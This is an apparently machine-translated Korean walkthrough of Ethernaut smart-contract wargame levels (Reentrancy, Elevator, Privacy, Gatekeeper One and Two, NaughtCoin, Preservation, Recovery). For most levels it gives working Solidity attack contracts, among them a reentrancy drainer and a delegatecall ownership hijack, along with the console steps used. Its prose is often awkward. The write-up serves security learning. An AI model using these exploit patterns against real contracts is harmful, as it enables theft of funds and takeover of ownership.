먼저, 현재 우리가 얼마나 통과해야 하는지 봅시다. 대상 계약 세부 정보 페이지에서 계약을 생성할 때 0.001Ether가 전달되었음을 확인할 수 있습니다.

계약 내용
따라서 공격 계약( 0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208)을 생성한 후 2Finney를 전달하고 공격 계약 attack메서드를 호출합니다.

공격
이쯤에서 King을 보면 await contract._king()King이 공격계약이 된 것을 알 수 있다.
계약을 기다립니다._king()
계약을 제출하면 레벨이 완료됩니다!

레벨 성공
체인의 데이터를 보면 실행 중에 롤백( revert) 이 발생했음을 알 수 있습니다.
돌아가는 것

요약하다

공격은 계약 실행의 여러 관점에서 시작할 수 있습니다.


10 재입국

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e. 계약 분석, 계약 추출 기능은 다음과 같습니다.

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

이 계약의 문제점은 무엇입니까? 즉, 부기, 이체(먼저 이체 후 예약) 순서를 잘못 입력한 것입니다. 일반적으로 우리가 돈을 인출하기 위해 은행에 갈 때 은행은 먼저 자신의 통장에 메모를 한 다음 우리에게 돈을 인출합니다. 동시에 두 곳에서 돈을 인출하는 것은 불가능하지만 블록체인에서는 가능한가요?

대답은 예입니다. 우리가 계약 이체를 수락하면서 새로운 출금 작업을 시작하면 분명히 계속 호출 프로세스이면 원장을 수정하지 않고 계약이 여전히 사용자에게 돈을 이체합니까?

그렇다면 지속적인 호출을 보장하기 위해 무엇을 할 수 있습니까? 즉, 공격을 받은 계약과 상호 작용하기 위해 계약을 사용하는 것입니다.

공격 계약서 작성

우리는 또한 리믹스에서 공격 계약을 작성합니다. 다음과 같이:

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}


ReentranceImpl대상 계약 을 표시하는 데 사용 requiredValue하고 계약이 대상 계약에 예치한 금액을 표시하는 데 사용합니다. 동시에 목표 계약에서 잔액을 인출하기 위해 fallback자금이 수신될 때마다 호출될 함수를 정의합니다. withdraw계약 상호작용을 해보자.

계약 상호 작용

먼저 컨트랙트 자체에 얼마나 많은 이더가 있는지 확인하고 브라우저에서 확인하여 총 0.001에테르가 있는지 확인합니다.
계약 자체에는 0.001 ether가 있습니다.
그래서 우리는 컨트랙트를 배포할 때 500000000000000 Wei를 전달하고, 이는 컨트랙트의 공격 효과를 확인하기 위해 3번 반복해서 호출할 수 있습니다.동시에 우리는 타겟 컨트랙트 주소를 전달합니다 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e.배포 후 공격 컨트랙트 주소는 0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287입니다.

먼저 계약 자체의 잔액인 500000000000000 Wei를 쿼리한 다음 대상 계약의 잔액인 10000000000000000 Wei를 쿼리합니다.
계약 자체의 잔액
목표 계약 잔액
이 기능을 사용 donate하여 대상 계약에 잔액을 입금합니다.
예금 잔고
이 시점에서 목표 계약의 잔액도 0.0015Ether가 됩니다.
다음 공격은 withdraw함수를 사용하여 500000000000000 Wei를 추출하는 것입니다. 트랜잭션을 시작할 때 Fox 인터페이스에서 가스를 수정해야 합니다. 트랜잭션이 완료되기를 기다리는 동안 계약에는 세 가지 전송이 있습니다.
공격 완료
대상 계약의 잔액이 0으로 재설정되어 공격 완료!
대상 계약이 0으로 재설정됩니다.
예제를 제출하면 이 레벨이 완료됩니다!
레벨 완료

마지막으로 계약자파괴를 통해 잔고를 되찾는 것 잊지마세요~

상태 변경

요약하다

계약의 디자인은 완전히 신중해야하며, 과실은 큰 영향을 미칠 것입니다.


11 엘리베이터

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE. 계약의 분석, 계약의 핵심 코드는 다음과 같습니다.

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

1차 판정으로 인해 isLastFloor만족하지 못한 if구조로 들어가 다시 획득 isLastFloor한다. 그러면 계약은 두 번째로 얻은 결과가 여전히 만족스럽지 않은 것으로 당연하게 여기지 않습니까?

외부 호출의 영향으로 인해 계약은 외부에서 호출될 때 외부 계약의 동작을 제어할 수 없습니다. 따라서 관련 공격을 시작하는 스마트 계약을 작성할 수 있습니다.

공격 계약서 작성

우리는 또한 리믹스에서 공격 계약을 작성합니다. 다음과 같이:

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}

핵심은 함수가 호출될 때마다 함수가 isLastFloor내부적으로 호출 flip되어 변수의 반전을 완료 isTop하므로 연속으로 두 번 얻은 결과가 다르다는 것입니다.

계약 상호 작용

최상위 레벨인지 확인하려면 Enter await contract.top()를 누르십시오. 결과는 false입니다.
계약을 기다립니다.top()
계약을 배포하고 대상 계약을 전달 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE하고 주소에서 계약을 빌드합니다 0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a.

함수를 호출 attack()하여 대상 계약에 대한 공격을 시작합니다.
공격()
이 때 다시 확인하고 엔터를 await contract.top()치면 최상위 수준인지 확인하고 결과는 참이다.
계약을 기다립니다.top()
예제를 제출하십시오. 이 레벨은 성공적입니다!
레벨 성공!

요약하다

계약은 믿을 수 없으며, 잘 작성된 계약이라도 타인의 행동을 통제할 수 없다면 무용지물입니다.


12 프라이버시

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf. 계약의 분석, 계약의 핵심 코드는 다음과 같습니다.

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

이 때 입력을 해야 하며 data[2], 이를 어떻게 얻어야 할까요? 분명히, 우리는 여전히 저장 메커니즘으로 시작해야 합니다.

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

이것은 변수 정의이며 이에 따라 다음과 같은 슬롯 스토리지 분포가 있습니다.

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

따라서 data[2]슬롯 5에 저장됩니다.

계약 상호 작용

await web3.eth.getStorageAt(contract.address,5)를 얻으려면 입력하십시오 data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.
web3.eth.getStorageAt(contract.address,5)를 기다립니다.
이 시점에서 bytes16과 bytes32 사이의 변환이 있습니다. 이더리움에는 빅 엔디안(문자열 및 바이트, 왼쪽부터 시작)과 리틀 엔디안(다른 유형, 빅부터 시작)의 두 가지 저장 방법이 있습니다. 따라서 32에서 16으로 변환할 때 오른쪽 16바이트를 잘려야 합니다.

어떻게 하면 될까요? '0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34).

수동으로 분할
그런 다음 결과를 직접 제출하고 잠금 해제를 준비합니다. contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d').
Contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d
이 시점에서 계약이 잠금 해제되었습니다.
계약을 기다립니다.locked()
예제를 제출하십시오. 이 레벨은 성공적입니다!

레벨 성공!

요약하다

다시 말하지만 블록체인에는 비밀이 없습니다.


13 게이트키퍼 원

안녕하세요 여러분, 다시 돌아왔습니다. 요즘 너무 바빠서 8월에 이 시리즈를 끝내고 다음 콘텐츠를 공유하도록 하겠습니다.

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284. 이 레벨의 목적은 gateOne, gateTwo및 , 를 만족하여 수정 사항 gateThree을 성공적으로 구현하는 것입니다.entrant

그래서 우리는 무엇을해야합니까? modifier먼저 각 요구 사항이 무엇인지 살펴보십시오 . 만나서 수정할 수 있는지 볼까요?

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

분석 gateOne, 우리는 msg.sender != tx.origin운송으로 계약이 필요함을 보여주는 필요성을 볼 수 있습니다.

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

분석 gateTwo, 이 단계가 실행될 때 나머지 가스는 8191의 배수여야 하므로 가스를 설정해야 합니다.

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

분석 결과 gateThree1-16비트가 tx.origin의 데이터이고 17-32비트가 0( uint32(uint64(_gateKey)) == uint16(tx.origin),)이고 33-64비트가 모두 0( uint32(uint64(_gateKey)) != uint64(_gateKey)).

그래서 우리는 아이디어를 정리하고 현명한 계약을 작성할 수 있습니다.

공격 계약서 작성

우리는 또한 리믹스에서 공격 계약을 작성합니다. 다음과 같이:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}

여기서는 주로 왜 gateThree요구 사항을 해결할 수 있는지 살펴봅니다. 입력을 받으면 bytes8(uint64(tx.origin) & offset)연산을 수행합니다.

  • address유형 길이는 160비트, 20바이트, 4016진수입니다.
  • uint64(tx.origin)쌍이 tx.origin가로채어 마지막 64비트, 8바이트 및 16진수 16진수가 선택됩니다.
  • offset유형은 uint64, 기본값은 0xFFFFFFFF0000FFFF, 마지막 FFFF은 마지막 16비트가 변경되지 않음을 보장하고, 중간 0000은 17-33비트가 0임을 보장하고, 나머지 FFFFFFFF는 34-64비트가 모두 0이 아님을 보장합니다. tx.origin그렇지 않기 때문에) .
  • 실제 공격을 위한 변수에 저장 하는 연산으로 &변환이 완료 된다 .bytes8changedValue

계약 상호 작용

계약을 배포하고 대상 계약을 전달 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284하고 주소에서 계약을 빌드합니다 0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d.

계약을 전개하다
getAddress계산 하려면 클릭하세요 changedValue. check1이 때 , check2, 를 클릭 하여 요구사항이 충족되었는지 check3확인 합니다. gateThree스크린샷에서 알 수 있듯이 모두 만족합니다.
gateThree는 만족합니다
자동으로 충족 되었으므로 gateOne호출하여 실제 가스를 직접 디버그할 수 있습니다.
클릭 attack하여 공격을 시작합니다. 상호 계약 호출이기 때문에 먼저 그림과 같이 Gas Limit(실제로는 그렇게 크지 않음)를 늘립니다.
세트 가스

이 때 테스트넷 익스플로러에 들어가 거래 내역을 확인하는데, 사고 없이 거래가 롤백된다. 현재 가스가 요구 사항을 충족하지 않기 때문입니다.
트랜잭션 롤백

오른쪽 상단 모서리를 클릭하고 선택 Geth Debug Trace하여 자세한 컴파일 프로세스를 확인합니다.
Geth 디버그 추적
내부에는 각 단계의 실행 프로세스와 이를 사용하는 GAS가 있습니다.
디버그 추적 세부 정보 가져오기

페이지에서 GAS를 검색하면 총 2개의 작업이 있습니다.전체 호출 시퀀스를 분석합니다.전자는 계약의 내부 호출보다 먼저 시작되어야 하고 후자는 적극적으로 gateTwo시작 되어야 합니다. gasLeft따라서 GAS 작업 후 남은 가스를 적어 두십시오(쿼리 자체도 가스를 소비하기 때문에). 여기서 70215입니다. 공격이 완료될 때까지 이 값을 8191로 나눈 나머지에 따라 가스 제한을 조정할 수 있습니다.
가스 세부 정보

다음 표는 공격을 완료하기 위해 여러 번 반복해야 하는 시작 프로세스를 보여줍니다.

원래 가스 제한 GAS 가동 후 남은 가스 나머지 다음에 가스를 입력하십시오
100000 70215 4687 95313
95313 65601 73 95240
95240 65529 1 95239

가스가 95239로 설정되면 트랜잭션이 성공합니다. 스크린샷에 표시된 대로: 를
성공적인 공격
입력 await contract.entrant() == player하고 이때 true를 반환하여 공격이 성공했음을 나타냅니다.
계약을 기다립니다.entrant() == 플레이어
예제를 제출하십시오. 이 레벨은 성공적입니다!

레벨 성공

요약하다

Gas의 디버깅은 매우 흥미롭고 주의 깊게 연구할 가치가 있습니다.


14 게이트키퍼 2

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F. 이 레벨의 목적은 gateOne, gateTwo및 , 를 만족하여 수정 사항 gateThree을 성공적으로 구현하는 것입니다.entrant

gateOne핵심 코드 , still gateTwogateThree.

  • gateOnemsg.sender != tx.origin중간 계약이 있어야 한다는 것은 여전히 ​​요구 사항 입니다.
  • gateTwo요구 사항 extcodesize(caller())==0은 호출자의 관련 코드 길이(msg.sender에 해당)가 0이고 스마트 계약 코드가 0이 아니라는 것을 알고 있다는 것입니다.
  • gateThree그런 다음 해당 요구 사항을 충족하기 위해 해당 바이트8을 입력해야 합니다.

언뜻 보기에는 동시에 만족할 수 없는 것처럼 보이지만 계약을 구성할 때 관련 코드도 0이라고 볼 수 있습니다 gateOne. gateTwo따라서 빌드 기능에서 공격할 수 있습니다.

공격 계약서 작성

우리는 또한 리믹스에서 공격 계약을 작성합니다. 다음과 같이:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}

여기에서 gateThree능동 언더플로를 사용하여 모두 1을 얻는다 는 점은 주목할 가치가 있습니다 uint64(두 개의 XOR이 사라짐).

계약 상호 작용

계약을 배포하고 대상 계약을 전달 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F하고 주소에서 계약을 빌드합니다 0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f.

배포 성공 후 이를 활용 await contract.entrant() == player하여 공격 성공 여부를 확인합니다. 정답은 성공입니다.

계약을 기다립니다.entrant() == 플레이어
예제를 제출하십시오. 이 레벨은 성공적입니다!
레벨 성공

요약하다

스마트 계약에서 보낸 요청이 처리되지 않도록 하는 방법은 무엇입니까? msg.sender=tx.origin그게 다야


15 너트 코인

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2. 이 레벨의 목적은 자신의 잔액을 0으로 만드는 것입니다.

언뜻보기에 계약 player에는 다음과 같은 제한 사항이 있습니다.

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }

우회할 수 없는 것 같고, 우리 자신의 토큰을 차감하는 것이 기본값이기 때문에 계약을 통해 공격할 수 없는 것 같습니다.
그러나 언뜻보기에는 NaughCoin상속 이며 하나 이상의 전달 함수가 있음 ERC20을 알고 있습니다. ERC20우리는 다른 방법을 시도할 수 있습니다.

자세히 살펴보면 원본에 ERC20여전히 transferFrom기능 이 있습니다.

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

물론 이 전제는 충분한 수당이 있다는 것이다. 우리는 시도를 시작할 수 있습니다.

계약 상호 작용

함수를 통해 돈을 이체 await contract.approve(player,await contract.balanceOf(player))할 수 있도록 먼저 전달 합니다. 그런 다음 잔액을 계약으로 이체하여 진행합니다. 이 때 잔고를 확인하면 공격이 성공했고 잔고가 0임을 알 수 있다. 예제를 제출하십시오. 이 레벨은 성공적입니다!transferFrom
계약을 기다리십시오. 승인(플레이어, 계약을 기다리십시오.balanceOf(플레이어))
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
계약을 기다리고 있습니다.transferFrom(플레이어, 계약. 주소, 계약을 기다리고 있습니다.balanceOf(플레이어))
await contract.balanceOf(player)
계약을 기다리고 있습니다.balanceOf(플레이어)

여기에 이미지 설명 삽입

요약하다

일부 기능을 상속받아도 다른 용도에는 영향을 미치지 않는데, 이는 피상적인 계약이라고 할 수 있습니다.


16 보존

다시 돌아와서 외국인 연수가 막바지에 다다랐는데 그 과정에서 얻은 게 많은 것 같아요. 훈련하고 설명하는 과정에서 내 생각이 더 명확 해졌습니다. 축하합니다. 이론적으로 제 초기 계획은 8월에 Ethernaut의 공격과 방어를 완료하고 공유의 다음 단계를 시작하는 것입니다.

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046. 이 수준의 목적은 대상 계약의 소유권을 가져오는 것입니다. 그런 다음 우리는 여전히 대상 계약의 약점이 어디이며 해킹 의 입구가 어디인지 확인해야 합니다 .

우리는 대상에 대한 자세한 분석을 수행합니다.

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

여기에서 대상은 timeZone1Library, 및 변수 timeZone2Library를 저장 하며 모두 생성 시 지정됩니다.ownerstoredTime

대상 계약의 소유권을 얻고 싶기 때문에 먼저 owner수정된 명령문을 찾았지만 코드에서 찾을 수 없습니다. 어떤 위험한 기능 이 있는지 확인해야 합니까?

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

맞습니다, 여기 있습니다, 델리게이트콜!
사실, Delegation레벨에서 우리는 호출 함수 패밀리의 차이점을 구체적으로 언급했습니다.

  • call: 가장 일반적인 호출 방법 호출 후 내장 변수 msg의 값은 호출자 B로 변경되고 실행 환경은 호출 받는 사람의 런타임 환경 C가 됩니다.
  • delegatecall: 호출 후 내장 변수 msg의 값 A는 호출자 B로 변경되지 않지만 실행 환경은 호출자의 런타임 환경 B입니다.
  • callcode: 호출 후 내장 변수 msg의 값 A는 호출자 B로 수정되지만 실행 환경은 호출자의 런타임 환경 B입니다.

이 시점에서 대리자 호출을 사용할 때 함수를 호출하기만 하면 실제 실행 환경은 여전히 ​​자체 실행 환경입니다. 낮은 수준에서 그것을 이해하는 방법? 이 컨텍스트는 특히 스토리지 변수의 저장과 관련하여 변수 이름이 아닌 슬롯을 기반으로 사용됩니다. 즉, 대리자 호출을 통해 저장 변수를 수정하면 실제로 현재 환경에서 해당 슬롯을 수정하는 것입니다!

이것을 이해한 후 현재의 계약을 다시 살펴보자.그것은 정말 옳지 않아 보인다: 해당 계약 LibraryContractsetTime함수가 호출될 때, 당신이 보는 것이 당신이 얻는 것과 같이, storedTime변수가 수정되어 실제로 실행중인 것을 수정하게 될 것입니다. slot 0즉, 실제로 timeZone1Library있는 슬롯이 수정되었습니다 . 계약 자체가 문제다!

즉, 문제가 있으므로 처리해야 합니다! 먼저 timeZone1Library공격 계약의 주소를 수정하고 대리자 호출을 통해 후속 공격을 구현하려고 합니다.

공격 계약서 작성

우리는 또한 리믹스에서 공격 계약을 작성합니다. 다음과 같이:

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}

얼핏보면 원래 계약서와 별반 다를게 없겠죠? 사실, 세 번째 슬롯을 의도적으로 수정하는 경우가 있습니다. 즉 수정할 때 slot 2입니다. 변수 tmpAddr1sum tmpAddr2은 실제로 슬롯의 자리 표시자일 뿐이며 특별한 의미는 없습니다.

계약 상호 작용

먼저 공격 계약을 배포합니다. 계약 주소는 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958. 이제 우리는 원래 변수를 그것으로 바꾸기만 하면 됩니다 timeZone1Library.

먼저 대상 계약의 현재 슬롯 상태를 쿼리할 수 있습니다.
슬롯
레이아웃은 다음과 같아야 합니다.

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

우리는 콜을 시도하고 await contract.setFirstTime()(첫 번째 또는 두 번째는 실제로 중요하지 않습니다. 이유는 아래에서 생각할 수 있습니다) 공격 계약을 전달합니다. 이 시점에서 실제로 변경이 있음을 알 수 있습니다. 특별히 구성된 데이터는 매개변수 유형을 지정하지 않지만 evm에 의해 수동으로 컴파일되기 때문에 uint의 제한에 신경 쓰지 않고 주소를 직접 전달할 수 있습니다.
임베디드 공격 계약
이 시점에서 레이아웃은 다음과 같아야 합니다.

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

이 시점에서 아이디어는 매우 간단하며 직접 호출 await contract.setFirstTime()하고 플레이어 주소를 전달합니다. 전달 후 소유자 변수가 수정되었는지 확인하면 계약 소유권을 성공적으로 획득한 것을 확인할 수 있습니다.
계약 소유권을 성공적으로 획득했습니다.
레이아웃은 다음과 같습니다.

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

예제를 제출하면 이 레벨이 완료됩니다!
레벨 완료

요약하다

델리게이트 콜 공유 환경이 무엇을 공유하고 있는지 여전히 이해해야 합니다.


17 회복

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046. 이 수준의 목적은 "잃어버린 주소"(우리는 그에게 0.001 이더를 전송했지만 주소를 잊어버렸음)를 찾고 잃어버린 이더를 복구하는 것입니다.

실제로 이 질문에 대해 생각하는 두 가지 방법이 있습니다. 하나는 약간 까다롭고, 두 번째는 질문이 실제로 테스트하고자 하는 것입니다.
제목 설명에 따르면 이것은 실제로 연속적인 프로세스입니다. 계약 작성자 는 토큰 계약의 공장 계약을 생성 하고 후자 는 토큰 계약 (잊은 주소)을 생성합니다. 우리는 이 아이디어를 중심으로 시작합니다.

계약 상호 작용

잊어버린 주소 찾기, 방법 1: 브라우저 기반

여기에서 브라우저는 Browser가 아니라 Explorer 입니다.
거래 내역을 볼 수 있습니다. 내부에 0.001 ether도 두 번 전송한 것을 볼 수 있습니다.
거래 기록
내부 호출을 기반으로 분석을 확장할 수 있습니다. 전체 프로세스는 다음과 같습니다.

  • 사용자 계정이 Ethernaut 계약을 호출합니다.0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • Ethernaut 계약 0xd991431d8b033ddcb84dad257f4821e9d5b38c33은 레벨 계약 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2을 호출하고 0.001Ether를 전송합니다.
  • 레벨 계약 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2은 공장 계약을 생성합니다.0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • 레벨 계약 은 인터페이스 여야 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2하는 공장 계약을 호출합니다.0xfeB7158F1d0Ff49043e7e2265576224145b158f2generateToken
  • 공장 계약 0xfeB7158F1d0Ff49043e7e2265576224145b158f2이 토큰 계약을 생성했습니다.0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • 레벨 계약 은 0.001Ether 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2를 토큰 계약으로 전송한 다음 계약 주소를 잊어버립니다.0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

여기에 이미지 설명 삽입
브라우저를 통해 토큰 계약 주소가 0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8.

잊어버린 주소 찾기, 방법 2: 주소를 기반으로 생성

사실, 계약 주소의 생성은 정기적으로 찾을 수 있습니다. 체인 전반에 걸쳐 일부 토큰이나 조직에서 배포한 계약이 동일한 것을 종종 볼 수 있습니다. 이는 계약 주소가 작성자의 주소와 nonce를 기반으로 계산되기 때문입니다. 둘 다 먼저 RLP로 인코딩된 다음 keccak256으로 해시됩니다. 마지막 20바이트를 최종 결과의 주소로 사용합니다(해시 값은 원래 32바이트였습니다).

  • 작성자의 주소를 알고 있으며 nonce는 초기 값에서 증가합니다.
  • 외부 주소 nonce의 초기 값은 0이며 각 전송 또는 계약 생성 시 nonce가 1씩 증가합니다.
  • 컨트랙트 주소 nonce의 초기 값은 1이고 컨트랙트가 생성될 때마다 nonce가 1씩 증가합니다(내부 호출은 그렇지 않음)

web3.js로 잃어버린 컨트랙트 주소를 되살려보자. 현재 알려진 공장 계약은 0xfeB7158F1d0Ff49043e7e2265576224145b158f2, nonce는 1,
입력은 web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,), 결과는 9d91abf611bbf14e52fa4cddea81f8f2cf665cb8입니다.

돌아와

계약을 찾았으면 계약과 상호 작용을 시도할 때입니다. web3.js를 통해 직접 새로운 계약을 생성하거나 계약과 상호 작용할 수 있습니다.

먼저 encodeFunctionSignature를 통해 함수 표시를 얻고 매개변수를 구성합니다. 마지막으로 sendTransaction을 통해 전송됩니다.
구성 매개변수
4바이트 함수와 32바이트 입력이 있음을 알 수 있습니다(0은 충분하지 않음).
여기에 이미지 설명 삽입
성공적으로 호출되었습니다!
성공적인 통화
예제를 제출하십시오. 이 레벨은 성공적입니다!
여기에 이미지 설명 삽입)

요약하다

사실 원리를 안다고 느끼긴 한데 항상 연습이 조금 미숙해서 더 연습해야겠어요~


18 매직넘버

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c. 이 수준은 우리가 solidity opcode를 작성하고 계약을 작성한 다음 직접 매직 넘버를 반환하도록 호출할 수 있기를 바라는 것입니다 0x42. 정확히 말하면, 우리가 계약을 생성할 때 트랜잭션의 데이터가 실제로 참조하는 것이 무엇인지에 익숙해지기를 바랍니다.

사실 저는 이 작품에 대해 잘 알지 못해서 저도 정보를 좀 여쭤봤습니다. Solidity와 계약을 배포하면 정확히 어떻게 됩니까?

  • Solidity 코드가 작성되었으며, 사용자가 배포를 클릭하면 계약을 생성하기 위한 트랜잭션이 전송되고(이 트랜잭션에 대한 옵션이 없음 to), solidity 언어가 바이트 코드로 컴파일됩니다.
  • EVM은 요청을 수신한 후 데이터를 가져오며, 이는 실제로 바이트코드입니다.
